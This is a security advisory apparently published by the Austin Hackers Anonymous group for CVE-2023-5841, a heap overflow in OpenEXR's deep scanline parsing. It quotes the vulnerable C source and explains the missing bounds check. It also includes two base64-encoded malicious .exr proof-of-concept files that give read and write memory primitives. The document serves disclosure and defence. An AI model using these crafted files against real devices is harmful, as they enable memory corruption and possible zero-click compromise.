AHA Logo

Austin Hackers Anonymous

About Us Chat CVE Mailing List Meetings Our Spawn Rules


CVE-2023-5841: Academy Software Foundation OpenEXR Heap Overflow in Scanline Deep Data Parsing

AHA! has discovered an issue with OpenEXR from The Academy Software Foundation, and is publishing this disclosure in accordance with AHA!’s standard disclosure policy today, on Wednesday, Jan 31, 2023. CVE-2023-5841 has been assigned to this issue.

Any questions about this disclosure should be directed to [email protected].

Executive Summary

Due to a failure in validating the number of scanline samples of a OpenEXR file containing deep scanline data, Academy Software Foundation OpenEXR image parsing library version 3.2.1 and prior is susceptible to a heap-based buffer overflow vulnerability. CVE-2023-5841 appears to be an instance of CWE-122.

Technical Details

Within the generic_unpack_deep() function, the samps value, which is obtained from the sampbuffer array and is sourced from the input .exr file, is passed to the UNPACK_SAMPLES macro (line 1264).

src/lib/OpenEXRCore/unpack.c

1209 static exr_result_t
1210 generic_unpack_deep (exr_decode_pipeline_t* decode)
1211 {
1212     const uint8_t* srcbuffer  = decode->unpacked_buffer;
1213     const int32_t* sampbuffer = decode->sample_count_table;
1214     uint8_t*       cdata;
1215     int            w, h, bpc, ubpc;
1216     size_t         totsamps = 0;
1217 
...
...
1253             for (int x = 0; x < w; ++x)
1254             {
1255                 int32_t samps = sampbuffer[x];
1256                 if (0 == (decode->decode_flags &
1257                           EXR_DECODE_SAMPLE_COUNTS_AS_INDIVIDUAL))
1258                 {
1259                     int32_t tmp = samps - prevsamps;
1260                     prevsamps   = samps;
1261                     samps       = tmp; 
1262                 } 
1263             
1264                 UNPACK_SAMPLES (samps)
1265 
1266                 srcbuffer += bpc * samps;
1267                 if (incr_tot) totsamps += (size_t) samps;
1268             }   
1269         }       
1270         sampbuffer += w;
1271     }           
1272                     
1273     return EXR_ERR_SUCCESS;
1274 }

The entire UNPACK_SAMPLES macro can be seen below and contains a set of switch statements that are used to parse the source buffer stored in the srcbuffer variable. This parsing is done through loop statements within the macro which all use the samps count as a the loop bounds. Because this value is sourced from the file and is never validated against the size of the destination buffer, a heap buffer overflow can occur.

src/lib/OpenEXRCore/unpack.c

 972 #define UNPACK_SAMPLES(samps)                                                  \
 973     switch (decc->data_type)                                                   \
 974     {                                                                          \
 975         case EXR_PIXEL_HALF:                                                   \
 976             switch (decc->user_data_type)                                      \
 977             {                                                                  \
 978                 case EXR_PIXEL_HALF: {                                         \
 979                     const uint16_t* src = (const uint16_t*) srcbuffer;         \
 980                     for (int s = 0; s < samps; ++s)                            \
 981                     {                                                          \
 982                         *((uint16_t*) cdata) = unaligned_load16 (src);         \
 983                         ++src;                                                 \
 984                         cdata += ubpc;                                         \
 985                     }                                                          \
 986                     break;                                                     \
 987                 }                                                              \
 988                 case EXR_PIXEL_FLOAT: {                                        \
 989                     const uint16_t* src = (const uint16_t*) srcbuffer;         \
 990                     for (int s = 0; s < samps; ++s)                            \
 991                     {                                                          \
 992                         uint16_t cval = unaligned_load16 (src);                \
 993                         ++src;                                                 \
 994                         *((float*) cdata) = half_to_float (cval);              \
 995                         cdata += ubpc;                                         \
 996                     }                                                          \
 997                     break;                                                     \
 998                 }                                                              \
 999                 case EXR_PIXEL_UINT: {                                         \
1000                     const uint16_t* src = (const uint16_t*) srcbuffer;         \
1001                     for (int s = 0; s < samps; ++s)                            \
1002                     {                                                          \
1003                         uint16_t cval = unaligned_load16 (src);                \
1004                         ++src;                                                 \
1005                         *((uint32_t*) cdata) = half_to_uint (cval);            \
1006                         cdata += ubpc;                                         \
1007                     }                                                          \
1008                     break;                                                     \
1009                 }                                                              \
1010                 default: return EXR_ERR_INVALID_ARGUMENT;                      \
1011             }                                                                  \
1012             break;                                                             \
1013         case EXR_PIXEL_FLOAT:                                                  \
1014             switch (decc->user_data_type)                                      \
1015             {                                                                  \
1016                 case EXR_PIXEL_HALF: {                                         \
1017                     const uint32_t* src = (const uint32_t*) srcbuffer;         \
1018                     for (int s = 0; s < samps; ++s)                            \
1019                     {                                                          \
1020                         uint32_t fint = unaligned_load32 (src);                \
1021                         ++src;                                                 \
1022                         *((uint16_t*) cdata) = float_to_half_int (fint);       \
1023                         cdata += ubpc;                                         \
1024                     }                                                          \
1025                     break;                                                     \
1026                 }                                                              \
1027                 case EXR_PIXEL_FLOAT: {                                        \
1028                     const uint32_t* src = (const uint32_t*) srcbuffer;         \
1029                     for (int s = 0; s < samps; ++s)                            \
1030                     {                                                          \
1031                         *((uint32_t*) cdata) = unaligned_load32 (src);         \
1032                         ++src;                                                 \
1033                         cdata += ubpc;                                         \
1034                     }                                                          \
1035                     break;                                                     \
1036                 }                                                              \
1037                 case EXR_PIXEL_UINT: {                                         \
1038                     const uint32_t* src = (const uint32_t*) srcbuffer;         \
1039                     for (int s = 0; s < samps; ++s)                            \
1040                     {                                                          \
1041                         uint32_t fint = unaligned_load32 (src);                \
1042                         ++src;                                                 \
1043                         *((uint32_t*) cdata) = float_to_uint_int (fint);       \
1044                         cdata += ubpc;                                         \
1045                     }                                                          \
1046                     break;                                                     \
1047                 }                                                              \
1048                 default: return EXR_ERR_INVALID_ARGUMENT;                      \
1049             }                                                                  \
1050             break;                                                             \
1051         case EXR_PIXEL_UINT:                                                   \
1052             switch (decc->user_data_type)                                      \
1053             {                                                                  \
1054                 case EXR_PIXEL_HALF: {                                         \
1055                     const uint32_t* src = (const uint32_t*) srcbuffer;         \
1056                     for (int s = 0; s < samps; ++s)                            \
1057                     {                                                          \
1058                         uint32_t fint = unaligned_load32 (src);                \
1059                         ++src;                                                 \
1060                         *((uint16_t*) cdata) = uint_to_half (fint);            \
1061                         cdata += ubpc;                                         \
1062                     }                                                          \
1063                     break;                                                     \
1064                 }                                                              \
1065                 case EXR_PIXEL_FLOAT: {                                        \
1066                     const uint32_t* src = (const uint32_t*) srcbuffer;         \
1067                     for (int s = 0; s < samps; ++s)                            \
1068                     {                                                          \
1069                         uint32_t fint = unaligned_load32 (src);                \
1070                         ++src;                                                 \
1071                         *((float*) cdata) = uint_to_float (fint);              \
1072                         cdata += ubpc;                                         \
1073                     }                                                          \
1074                     break;                                                     \
1075                 }                                                              \
1076                 case EXR_PIXEL_UINT: {                                         \
1077                     const uint32_t* src = (const uint32_t*) srcbuffer;         \
1078                     for (int s = 0; s < samps; ++s)                            \
1079                     {                                                          \
1080                         *((uint32_t*) cdata) = unaligned_load32 (src);         \
1081                         ++src;                                                 \
1082                         cdata += ubpc;                                         \
1083                     }                                                          \
1084                     break;                                                     \
1085                 }                                                              \
1086                 default: return EXR_ERR_INVALID_ARGUMENT;                      \
1087             }                                                                  \
1088             break;                                                             \
1089         default: return EXR_ERR_INVALID_ARGUMENT;                              \
1090     }

This vulernability is by default unreachable through the exr* utilities provided with the OpenEXR library because of a conditional in the checkCoreFile function (lines 1489-1492 below) which prevent the processing of EXR image files with the DEEP_SCANLINE/DEEP_TILE storage modes.

This however only prevents the exr* utilities from reaching the vulnerable code and direct calls to other parsing functions (such as readCoreScanlinePart) within the OpenEXR library still reach the vulnerable path.

src/lib/OpenEXRUtil/ImfCheckFile.cpp

1474 bool
1475 checkCoreFile (exr_context_t f, bool reduceMemory, bool reduceTime)
1476 {
1477     exr_result_t rv;
1478     int          numparts;
1479 
1480     rv = exr_get_count (f, &numparts);
1481     if (rv != EXR_ERR_SUCCESS) return true;
1482 
1483     for (int p = 0; p < numparts; ++p)
1484     {
1485         exr_storage_t store;
1486         rv = exr_get_storage (f, p, &store);
1487         if (rv != EXR_ERR_SUCCESS) return true;
1488 
1489         // TODO: Need to fill this in
1490         if (store == EXR_STORAGE_DEEP_SCANLINE ||
1491             store == EXR_STORAGE_DEEP_TILED)
1492             continue;
1493 
1494         if (store == EXR_STORAGE_SCANLINE)
1495         {
1496             if (readCoreScanlinePart (f, p, reduceMemory, reduceTime))
1497                 return true;
1498         }
1499         else if (store == EXR_STORAGE_TILED)
1500         {
1501             if (readCoreTiledPart (f, p, reduceMemory, reduceTime)) return true;
1502         }
1503     }
1504 
1505     return false;
1506 }

Multiple .exr files which triggers the above described heap overflow can be found below.

[expand]

Write primitive from heap overflow:

di8xAQIAAABjb21wcmVzc2lvbgBjb21wcmVzc2lvbgABAAAAAHR5cGUAc3RyaW5nAA0AAABkZWVw
c2NhbmxpbmUAdmVyc2lvbgBpbnQABAAAAAEAAABjaGFubmVscwBjaGxpc3QAJQAAAEEAAAAAAAAA
AAABAAAAAQAAAAAArq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq4AAAAAAAEAAAAAAAAAAQAAAAAAAAAA/wAAAAAAAAAAADoAAAA6AAAA////AP//
/wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////
AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A
////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD/
//8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP//
/wD///8Arq4AAK6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6u
rq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq6urq4=

Alternatively, a read primitive can be achieved leveraging the same bug with the following PoC:

di8xAQIAAABnAAARASYmJiYmJiYmJian5EBnr2S1zEBAQEBAQEBAzn0nDH6dyiPFuFBpSulKZm5u
bm5ubgD/JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmfv8mJtkmJiYmJiYmJiYmJiYmJiZ2ZXJz
aW9uMV4CMTLU1NQAAAAAAF8AALuAwg0DvhAIrqqbhONsH////////wAAjlVUgD4AJiYmJiYmJiYm
JiYmJgAAY2hyY29tcHJlc3Npb24AY29tcHJlc3Npb24AAQAAAAD/AAAmJiZubm5ubm5ubm5ubm5u
bm70qM084T4YPdT8YuIUBldXbmRvd0NlbnRlcgB2MmYACAAAAHYyZgFibGVlaWVlAAB0eXBlAHN0
cmluZwBfAAAAZGVlcHNjYW5saW5lAHIAf///AW9hdG1hdGljCXRpZXMwAAAB3gBjaABjaGxpc3QA
HAAAABAAAAAB/wAAABAAaQAAAQAA/mcAAP5nAAByAH///wFvYXRtYXQAAAABaWMJdGllczAAAAEA
Y2gAYwAAAP90AAAACABra2trazsra2tra2tr5Zcp6ib09XPqBi0xMZc5Wv9mbG9hdP////////8+
65He/kO+tTgXdw9VKwUAAADyAAAAfFUj49bgAAAA5eXl5eXla2UTBAAAAAAAAOXl5f//////////
5XYvMQHl5eXl5QH/dGltLzEB5eXl5eUB/3RpbWVjb3ljb2Rl5eXl5eXl///////////ldi8xAeXl
5eXlAf90aW1lY29kZf//AQBmbG9hdHZlY3RvcgAAAAAA//EAHWlldz4+Pj4+AOXl5eXl5eXl5eXl
5eVkaXNwbGF5V2luAABjaGFubmVscwBjaGxpc3QAPAAAABAAAAAAAAAAKgABAAAAAQAAAABkZWxp
AgAAAGNobGlzdHJlqRAAAAAAAABjaGxpc3RyZXNzaW9pdG9yAXcAAAAAAGNo/wAACE1NTXYyZE1N
TU30sAAAAAAAAGtleWNvZGXl5eXl5eX//////3L/AQD/AAAAnW94MTJpAAB0eXBlAAB0aWNpdGll
c+Xl5eXl5eXl5XYyZnBsYXlXaXlwZQBtMzNkAWV0aXKU4VQAAAAAAAAdAAAAaXKUbGWSNGF0M2Rw
cmVjaHKUbGVtNDRkAP8AAACdb3gxMmkCAAB5cGUAbTMzZAFldGlylGtlbTQ0ZH8AHQAAAGlylGxl
djNpdDNkcHJlY2hyb21hb3gxMmkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAABGgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
yyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZGQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAABAAAAAAAANAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAc3RyaQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAypAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIJAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADqEAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACz
cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANTQzMgAA
AAAAAAAAAAAAAAAAAAAAoZ8LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAACwrgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw0gAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAPwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQGQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAABA6wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2PkAAAAAAAAAAAAAAAAAAAAABoAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOXl5eXl5eXl
ZGlzcGxheVdpbgAAY2hhbm5lbHMAY2hsaXN0ADwAAAAQAAAAAAAAACoAAQAAAAEAAAAAZGVsaQIA
AABjaGxpc3RyZakQAAAAAAAAY2hsaXN0cmVzc2lvaXRvcgF3AAAAAABjaP8AAAhNTU12MmRNTU1N
9LAAAAAAAABrZXljb2Rl5eXl5eXl//////9y/wEA/wAAAJ1veDEyaQAAdHlwZQAAdGljaXRpZXPl
5eXl5eXl5eV2MmZwbGF5V2l5cGUAbTMzZAFldGlylGtlbTQ0ZH8AHQAAAGlylGxlkjRhdDNkcHJl
Y2hylGxlbTQ0ZAD/AAAAnW94MTJpAgAAeXBlAG0zM2QBZXRpcpRrZW00NGR/AB0AAABpcpRsZXYz
aXQzZHByZWNocm9tYW94MTJpAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAARoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMsg
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGRkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAQAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADqEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoZ8L
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA5wAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD1AAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

[/expand]

Attacker Value

This vulnerability allows for a read or write primitive based on the provided EXR file attributes and therefore could be used to read or write memory to a compromised device through an attacker placed EXR image.

Furthermore, this vulnerability exists within a image parsing library that is known to be used in popular mobile devices and messaging software. Specifically, the affected library is reported by Project Zero to be used by Apple iMessage. To quote P0:

the OpenEXR library is exposed through Apple’s ImageIO framework and therefore is exposed as a 0click attack surface through various popular messenger apps on Apple devices. It is likely that the attack surface is not limited to messaging apps, though I haven’t conducted additional research to support that claim.

Note that exploitation on this platform has not been tested by AHA!.

Credit

This issue is being disclosed through the AHA! CNA and is credited to: zenofex and WanderingGlitch

Timeline



Fork me on GitHub